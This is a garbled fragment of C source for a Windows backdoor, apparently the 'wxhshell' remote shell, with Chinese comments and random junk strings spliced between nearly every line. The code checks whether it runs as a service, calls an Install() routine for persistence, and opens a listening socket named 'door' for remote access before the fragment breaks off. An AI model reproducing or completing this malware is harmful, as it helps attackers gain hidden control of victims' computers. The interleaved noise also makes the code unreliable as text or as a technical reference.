` HMODULE hMod; g |?}a]G char procName[255]; xt pY* unsigned long cbNeeded; jLI1Ed %M'`K if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); % R25, V 50-7L, CloseHandle(hProcess); m[2[9bQ0 nA("
cD[, if(strstr(procName,"services")) return 1; // 以服务启动 OEjX(F3= H+Bon=$cE! return 0; // 注册表启动 $3>Rw/, } hp2E! C ma "i/GzD7 `n // 主模块 zx=eqN@!@ int StartWxhshell(LPSTR lpCmdLine) sGtxqnX:J { U+B"$yBR SOCKET wsl; 36+/MvIT BOOL val=TRUE; ^$O(oE(D int port=0; e4Y+u8gT struct sockaddr_in door; Bl6I@w )rj!/% if(wscfg.ws_autoins) Install(); [u K,.G XfVdYmii port=atoi(lpCmdLine); HP[B% NdLe|L?c if(port<=0) port=wscfg.ws_port; cRr3!<EZ K3
BWj33 WSADATA data; "'Fvt-<^S7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OQ_<V xz |&WYu,QQ4 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9H4"=!AAgD setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iz/CC V L door.sin_family = AF_INET; v+Y^mV`| door.sin_addr.s_addr = inet_addr("127.0.0.1"); (VN'1a ( door.sin_port = htons(port); I
F!xZ6X8 LsIZeL^ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,#,K_oz closesocket(wsl); oowofi(E return 1; J0R{|]W8 } z$%8' a-,*iK{_u if(listen(wsl,2) == INVALID_SOCKET) { URm< |